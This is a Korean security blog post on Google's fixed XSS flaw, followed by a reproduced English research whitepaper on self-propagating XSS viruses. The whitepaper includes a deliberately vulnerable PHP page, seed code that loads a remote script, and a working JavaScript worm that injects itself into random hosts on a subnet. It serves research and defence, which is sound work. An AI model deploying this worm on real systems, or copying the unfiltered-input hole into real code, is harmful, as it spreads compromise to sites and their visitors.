CSS Virus PoC 코드 와 구글의 XSS 문제 수정

안녕하세요. 바다란입니다. 두 가지의 다르자 같은 내용을 지닌 소식입니다. 구글에서 XSS 취약성을 수정 했다는 내용 하나와 XSS가 지니고 있는 추가적인 위험성에 대해서 드러난 paper 입니다. Xss 취약성을 이용한 Virus가 전파 된다면 어떻게 될까요? 또한 특정 사이트나 IP 대역에 대해 Application 차원의 DDOS 가 진행이 된다면 어떻게 될까요?. 생각해 볼만한 .문제인 것 같습니다. Validation check는 언제나 중요합니다. 개발 단위에서부터 서비스의 보안성 점검을 통한 안전한 사이트 오픈 까지 많은 과정이 필요합니다만 앞으로는 이런 과정을 무시할 경우 상당한 어려움에 처할 것 같습니다. XSS 바이러스는 현재 개념차원의 내용이지만 향후에는 상당히 다르게 진화 할 것이고 큰 피해를 입힐 것 같습니다. 지난 해말의 PHP 버그를 이용한 Application worm인 santy웜과 같이 어플리케이션 단위에 페이지 변조외에 더욱 직접적인 영향을 미칠 것이라 생각 됩니다.     구글이 자사 웹 사이트에서 발견된 보안 상의 결함을 수정했다. 보안 연구자들은 이 결함으로 인해 피싱 사기, 계정 탈취 등의 공격을 받을 우려가 있다고 전했다. 이 문제를 발견한 보안 업체인 핀잔 소프트웨어(Finjan Software)에 따르면 XSS(Cross-Site Scripting 취약성은 구글의 광고 프로그램용 웹 사이트인 애드워즈(AdWords)와 고객 트레이닝 사이트에 존재했다. 공격자가 이 결함을 악용하면 구글의 계정을 탈취하거나 피싱 사기를 일으킬 수 있다. 또 사용자의 컴퓨터에 악성 코드가 다운로드 될 수도 있다. 피싱은 사용자를 속여 아이디(ID), 패스워드, 신용 카드 정보, 주민등록번호 등 중요한 정보를 가로채는 행위를 말한다. 핀잔은 이 결함을 지난달 말에 구글에 알렸으며, 구글은 30시간 이내에 이 결함을 수정했다. 핀잔의 부사장인 리모르 엘바즈(Limor Elbaz)는 “구글의 대응은 매우 좋았다”고 평가했다. 구글은 자사가 ‘조금 전’에 경고를 받아 이 결함을 수정한 것을 인정했다. 구글 관계자는 “사용자 데이터의 손상은 전혀 없었다. 업계에서 최선으로 여겨지는 방법으로 취약성을 공개한 핀잔에 박수를 보낸다”고 성명을 발표했다. 이 보안 문제는 구글 웹 사이트가 인증을 실시하지 않고 있으며, 특정 필드에 여과 없이 데이터를 입력하는 것이 원인이었다. 이러한 경우에는 사용자의 컴퓨터상에서 동작하는 여분의 데이터나 스크립트를 삽입할 수 있게 된다. 이 결함을 악용하려면 공격자가 특별한 웹 링크를 준비해 사용자를 속이고 링크된 사이트를 이동시키면 된다. 엘바즈는 “구글의 사례에서는 링크가 완벽한 구글 링크인 것처럼 보이는 점이 가장 위험했다”고 전했다. XSS 결함은 정기적으로 발견되고 있다. 첫 사례는 핀잔이 MS의 X박스 360 사이트에서 발견했다. 핀잔은 그 전에도 야후의 웹 기반 전자 메일 서비스에서도 이 결함을 발견한 적이 있다. 핀잔은 취약점 분석도구 및 스캐너 등 웹 기반의 업무 시스템을 보호하는 보안 제품을 판매한다. 핀잔은 인기있는 웹 사이트를 정기적으로 테스트하고 있다. 엘바즈는 “핀잔은 각 업체들이 자신들의 사이트를 더욱 안전하게 운영하기를 바라는 입장에서 이 테스트를 실시하고 있다’고 말했다. 핀잔은 XSS 결함이 수정되었기 때문에 구글의 웹 사이트는 안전하다고 평가했다. 엘바즈는 “현재 XSS 취약성을 가진 웹 사이트는 없는 걸로 알고 있다. 핀잔은 웹 사이트의 취약성 문제를 계속해서 주시할 것이다”라고 말했다. @     XSS Virus Whitepaper ------------------------------------------------------------------------     SUMMARY   The following paper explores the new threat of cross-site scripting (XSS) viruses. To date, cross site scripting has never been utilised to generate viruses. These viruses are a new species which are platform independent and not affected by common firewall configurations. XSS viruses could have a significant impact for Internet continuity, including distributed denial of service (DDOS) attacks, SPAM and dissemination of browser exploits. This is particularly relevant with the increasing sophistication of web browsers and the growing popularity of web based applications such as Wikis and Blogs.   DETAILS   Introduction: As an inevitable consequence of expanded web application functionality, security implications on various levels have increased. The appearance of XSS is one such security issue. This vulnerability allows code to be injected into web sites with the aim of being parsed and/or executed by web browsers.   Broadly, cross-site scripting can be divided into two areas: permanent and non-permanent. Non-permanent XSS is returned immediately and doesn't remain on the server. Alternatively, permanent XSS will remain on the server and be returned to any browser requesting the injected page. This paper is particularly concerned with the permanent variety of XSS.   It is possible to inject self propagating XSS code into a web application and it will spread via client web browsers. This creates a symbiotic relationship between browser and application server. The code will reside on vulnerable web applications and be executed within the client web browser. This relationship is not necessarily one-to-one.   Proof of Concept: The following proof of concept demonstrates a XSS virus. The vulnerable environment created is an example scenario required for XSS viruses and does not show an exhaustive set of possible conditions. It illustrates permanent XSS within a web application. In this case, the vulnerability is exploitable via a get request, which allows a trivial virus to be created.   Initially an instance of the vulnerable web application will be seeded with the self-propagating code. When this code is executed by web browsers, it results in their infection. The infected web browsers connect to random sites and perform the exploiting get request. The injected code will, in turn, infect further vulnerable web applications with the self-propagating code.   The following crafted permanent XSS exploitable PHP page can be infected with a virus. The page accepts a parameter (param) value and writes it to a file (file.txt). This file is then returned in the request to the browser. The file will contain the previous value of the "param" parameter. If no parameter is passed it will display the file without updating it.   Web Application: index.php   <?php   $p=$HTTP_GET_VARS[ param ];   $filename =  ./file.txt ;     if ($p !=   ) {     $handle=fopen($filename,  wb );     fputs($handle, $p);     fclose($handle);   }     $handle = fopen($filename,  r );   $contents = fread($handle, filesize($filename));   fclose($handle);     print $contents; ?>   This page (index.php) was hosted on multiple virtual servers within a 10.0.0.0/24 subnet. One web application instance was then seeded with the following code which retrieves a JavaScript file and executes it. Alternatively, it is possible to inject the entire code into the vulnerable applications rather than requesting a JavaScript file. For simplicity, a JavaScript file (xssv.jsp) was requested.   Injected Seed Code: < iframe name="iframex" id="iframex" src="hidden" style="display:none"></iframe> < script SRC="http://<webserver>/xssv.js"></script>   The JavaScript file that was requested in the example is shown below. Its self-propagation uses an iframe which is periodically reloaded using the loadIframe() function. The target site IP address of the iframe is selected randomly within the 10.0.0.0/24 subnet via the function get_random_ip(). The XSS virus uses a combination of these two functions and the continual periodic invocation using the setInterval() function.   Javascipt: xssv.jsp   function loadIframe(iframeName, url) {   if ( window.frames[iframeName] ) {     window.frames[iframeName].location = url;     return false;   }   else return true; }   function do_request() {   var ip = get_random_ip();   var exploit_string = '< iframe name="iframe2" id="iframe2" src="hidden" style="display:none"></iframe> < script SRC="http://<webserver>/xssv.js"></script>';     loadIframe('iframe2', "http://" + ip + "/index.php?param=" + exploit_string); }   function get_random() {   var ranNum= Math.round(Math.random()*255);   return ranNum; }   function get_random_ip() {   return "10.0.0."+get_random(); }   setInterval("do_request()", 10000);   Viewing the seeded web application caused the browser to infect other web applications within the 10.0.0.0/24 subnet. This infection continued until some, but not all, applications were infected. At this point the browser was manually stopped. Another browser was then used to view one of the newly infected web applications. The virus then continued to infect the remaining uninfected web applications within the subnet.   This proof of concept shows that under controlled conditions, not dissimilar to a real world environment, a XSS virus can be self-propagating and infectious.   Conventional Virus Differences: Conventional viruses reside and execute on the same system. XSS viruses separate these two requirements in a symbiotic relationship between the server and the browser. The execution occurs on the client browser and the code resides on the server.   Platform indiscrimination also differentiates a XSS virus from its conventional counterparts. This is due to the encapsulation within HTML and the HTTP/HTTPS protocol. These standards are supported on most web browsers running on a variety of operating systems, making cross-site scripting viruses platform independent. This platform independence increases the number of potential web applications that can be infected.   Infection: Cross-site scripting virus infection occurs in two stages and usually on at least two devices. As such, there are two kinds of infections that work symbiotically.   The server is infected with persistent self-propagating code that it doesn't execute. The second stage is browser infection. The injected code is loaded from the site into the non-persistent web browser and executed. The execution then seeks new servers to be exploited and potentially executes its payload. Typically, there will be one infected server to many infected browsers.   Payload: Like conventional viruses, XSS viruses are capable of delivering payloads. The payloads will be executed in the browser and have the restriction of HTML compliant code. That is, the payload can perform HTML functions, including JavaScript.   Whilst this does pose limitations, XSS viruses are still capable of malicious activity. For example, the payload could deliver a DDOS attack, display SPAM or contain browser exploits. Future payload capability is likely to be greater due to increasing browser sophistication.   Disinfection: The relationship between the server and one browser can be broken by simply shutting down the browser. However, there is currently no means to prevent browser re-infection other than disabling browser functionality.   Potential disinfection methods will involve the referrer field from the request header. This is due to the fact that the referrer is likely to be logged on web servers where infection has been attempted. Thus, where referrer spoofing hasn't occurred, following the log files will reveal a trail back to the source of the virus.   Prevention: A common initial preventative to viral infection is a network level firewall. As HTTP/HTTPS protocols are afforded un-vetted access through common firewall configurations, these firewall barriers are ineffectual. A potential remedy to this is an application firewall with the appropriate XSS virus signatures.   Whilst unlikely, the most obvious way to prevent XSS viruses is to remove XSS vulnerabilities from web applications. Another method is for browsers to enforce a request restriction on a web page's sub-elements. The restriction would only allow sub-elements to be requested from the main URL's domain. Thus, preventing XSS viruses from infecting other web applications.   Conclusion: The infectious nature of XSS viruses has been demonstrated within a controlled environment. It was achieved through a purposely crafted vulnerable web application distributed across a subnet. This environment was subsequently infected.   XSS viruses are a new species. They distinguish themselves from their conventional cousins through the requirement for a server-client symbiotic relationship and their platform independence. These differences have both positive and negative influences on the virulence of infection.   This paper illustrates that XSS viruses are platform independent and capable of carrying out malicious functions. Whilst there are mitigating factors, these points coupled with the increasing sophistication of web browsers show the threat of XSS viruses. Proactive measures need to be taken in order to combat this threat, before XSS viruses become endemic.   References: [1] Remote Scripting with IFRAMEs - <http://developer.apple.com/internet/webcontent/iframe.html> http://developer.apple.com/internet/webcontent/iframe.html [2] HTML Code Injection and Cross-site scripting - <http://www.technicalinfo.net/papers/CSS.html> http://www.technicalinfo.net/papers/CSS.html [3] JavaScript: Random Scripts - <http://www.pageresource.com/jscript/jrandom.htm> http://www.pageresource.com/jscript/jrandom.htm [4] Mozilla Foundation Security Advisory 2005-58 - <http://www.mozilla.org/security/announce/mfsa2005-58.html#xmlhttp> http://www.mozilla.org/security/announce/mfsa2005-58.html#xmlhttp [5] PHP Manual -  <http://www.php.net> http://www.php.net [6] Scripting Iframes - Tutorial and Examples - <http://www.dyn-web.com/dhtml/iframes/> http://www.dyn-web.com/dhtml/iframes/ [7] CGISecurity's Cross Site Scripting FAQ - <http://www.cgisecurity.com/articles/xss-faq.shtml> http://www.cgisecurity.com/articles/xss-faq.shtml     ADDITIONAL INFORMATION   The information has been provided by  <mailto:wade@bindshell.net> Wade Alcorn. The original article can be found at:  <http://www.bindshell.net/papers/xssv.html> http://www.bindshell.net/papers/xssv.html